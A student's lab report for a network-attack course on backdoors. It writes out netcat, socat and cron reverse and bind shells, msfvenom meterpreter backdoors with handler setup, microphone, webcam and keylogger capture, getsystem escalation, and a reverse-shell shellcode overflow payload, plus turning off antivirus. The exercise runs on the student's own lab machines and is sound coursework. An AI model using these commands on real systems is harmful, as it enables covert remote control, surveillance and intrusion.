2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175225 张元瑞 网络对抗技术 Exp2 后门原理与实践
一、实验目标
- 清楚后门概念
- 会用nc获取远程主机的Shell
- 会用meterpreter
- 会启动后门
二、实验内容
- 使用netcat获取主机操作Shell,cron启动;
- 使用socat获取主机操作Shell, 任务计划启动;
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、基础问题回答
例举你能想到的一个后门进入到你系统中的可能方式?
- 下载某个软件或者误点链接时后门可能进入系统
例举你知道的后门如何启动起来(win及linux)的方式?
- Windows中在开机的时候自启动或者用户执行带后门的文件的时候启动
- Linux中可以通过cron启动
Meterpreter有哪些给你映像深刻的功能?
- 除了本次实验中完成的通过后门控制被控主机的shell,调用麦克风、摄像头、键盘、读取屏幕,还有从被控主机上对相关文件的下载和上传。
如何发现自己有系统有没有被安装后门?
- 通过杀毒软件检测系统有无异常
- 查看系统的自启动项,注册表有无异常
- 通过
nestat -na查看是否有异常开放的端口
四、基本工具熟悉
1.ncat
- 是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
准备
- 通过命令查看windows主机及kail机的ip,同时检查两者是否互ping通过
- 在老师提供的附件中下载
ncat.rar
windows(ipconfig):192.168.80.1
kail(ifconfig):192.168.80.132
(1)Win获得Linux Shell
- windows 打开监听
E:\大三下\网络对抗技术\第二次实验\ncat>ncat.exe -l -p 5225 - Linux反弹连接
nc 192.168.80.1 5225 -e /bin/sh - 进入主机,通过命令
ls/或其他,验证运行kail的shell


(2)Linux获得Win Shell
- Linux运行监听指令
nc -l -p 5225 - Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.80.132 5225

(2)nc传输数据
- 直接传输文字:主机下建立监听端口5225
ncat.exe -l 5225,kail下建立连接至主机端口nc 192.168.80.1 5225,建立成功后可进行文字传输

- 传输文件
- Windows下建立端口同时定义接收地址
ncat.exe -l 5225 > file.in - kail下创建测试文件
file.out - 连接至主机进行文件输送
nc 192.168.80.1 5225 < file.out
- Windows下建立端口同时定义接收地址

2.Socat
- 又称Netcat++,超级netcat工具,是nc的加强版
- 任何代理、转发等功能都可以用该工具实现
- 使用方法与nc类似
3.Meterpreter(使用msfvenom生成后门可执行文件)
- 后门是一个程序
- 有人建立一个平台,详细说明了后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
4.corn
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以
man cron
五、实验任务
任务一:使用netcat获取主机操作Shell,cron启动
1.思路
- 在windows里监听
- 在Linux里利用corn设置定时启动反弹指令
2.实验步骤 - 在Win主机监听5225端口

- 在Kali中,用
crontab -e指令编辑一条定时任务,以定时可反弹至主机端口,进入后编辑器选择3即为vim编辑器 crontab -l可查看编辑情况- 增加命令为
20 * * * * /bin/netcat 192.168.80.1 5225 -e /bin/sh即为每个小时的第20分钟时执行后方命令(数字填写以自己做实验的时间来定)

- 当时间到后进行测试,此时可以看出未到时间时,是无法执行获取kail shell的

任务二、使用socat获取主机操作Shell, 任务计划启动
- 在Windows系统下,打开
控制面板->系统和安全->管理工具找到任务计划程序开始创建任务

- 点击
触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

- 点击
常规选项卡,输入名称,在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5225 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5225,同时把cmd.exe的stderr重定向到stdout上:


- 创建完成之后,
windows+L锁定计算机让任务开始执行。然后在Kali环境下输入指令socat - tcp:192.168.80.1:5225这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5225端口,此时可以发现已经成功获得了一个cmd shell


任务三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
- 在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5225 -f exe > 20175225_backdoor.exe
此时因为在控制端生成后门,所以此ip为kail的ip地址

- 同准备阶段:将生成的后门程序传输到主机
- 在主机下执行
ncat.exe -l 5225 > 201725225_backdoor.exe - 在kali中通过
nc 192.168.80.1 5225 < 20175225_backdoor.exe将生成的后门程序传送到主机上

- 回到控制端,通过命令
msfconsole进入控制台

- 调用监听模块,设置与生成后门时相同的payload,同时设置返回的ip和端口号
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.132
set LPORT 5225
- 设置完成,执行监听
exploit - 回到主机点击打开传输过去的后门程序,可以观察到kail取得链接,并可以远程控制主机shell

任务四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
- 保持任务三,之后进行任务四操作
- 使用
record_mic指令截获一段音频

- 使用
webcam_snap/webcam stream指令可以使用摄像头进行拍照/摄影

- 使用
screenshot指令可以进行截屏

- 在kali中使用
keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录

- 先使用
getuid指令查看当前用户,使用getsystem指令进行提权(提权操作可在别的win7虚拟机下进行)

任务五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
使用msf生成shellcode
- 首先生成shellcode:Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。与任务三不同在linux中有效载荷不同linux中的有效载荷为
linux/x86/meterpreter/reverse_tcp可通过命令msfvenom -l payload - 通过命令生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp -x pwn1.bak LHOST=192.168.80.132 LPORT=5225 -f elf > pwn1_exp2

- 在另一个终端中启动mfs控制台(和任务三中过程相同),此时的playload为
linux/x86/shell/reverse_tcp。
kali输入msfconsole进入msf控制台,后输入:
use exploit/multi/handler进入监听模块,设置payloadset payload linux/x86/shell/reverse_tcp,使用与生成后门程序时相同的payloadset LHOST 192.168.80.132,set LPORT 5225使用5225端口,exploit设置完成,开始监听;

从网站上下载shellcode
- 在shellcode网站中下载一个linux/x86平台的shellcode,用于反弹连接

将里面的机器码复制出来
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
- 注入前的准备工作(同实验一)

- 通过gdb调试寻找shellcode的起始地址
初始input_shellcode:
perl -e 'print "A" x 32;print"\x04\x03\x02\x01\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
gdb调试

- 通过gdb调试找到shellcode的返回地址
0xffffd290,然后复制出下载的文件中的shellcode机器码,将返回地址添加到最前面,同时生成用于注入的input_shellcode文件,具体代码如下:
perl -e 'print "A" x 32;print"\x90\xd2\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
- 在新终端b中启动
msfconsole,执行和任务3中同样的指令打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444 ##在下载的图中有标注相应的IP地址和端口号
show options
exploit
- 在终端a中通过管道符对
input_shellcode进行注入,执行(cat input_shellcode;cat) | ./pwn1,可以看到能够成功运行


六、实验总结
实验中遇到的问题
- 问题1:在进行任务四录音的时候,输入指令,出现如图错误。

-
解决方案:经查询发现是因为麦克风权限被关了,导致无法访问麦克风,从而出现了如图的提示,打开麦克风权限就可以正常录制了。
-
问题2:在做任务3时,msfconsole中出现如图情况

- 解决方案:经多方探寻发现是因为电脑杀毒软件把后门程序当做病毒杀死了,从而导致程序无法运行,把杀毒软件关闭再将后门程序传到主机就可以了。
实验总结
本次实验学习到了后门的基本原理,掌握了后门的生成过程和注入方式,对一些常用的后门程序和命令有了比较基础的掌握。
本次实验中遇到了很多问题,有些是自己粗心导致的,有些是自己所没有接触到的,在网上查找资料和询问同学以后还是得到了解决,尽快花费了很多时间,但还是有很大的收获。本次实验也让我意识到后门功能的强大性和危害性,因此我们对后门的防范也是非常重要的。

浙公网安备 33010602011771号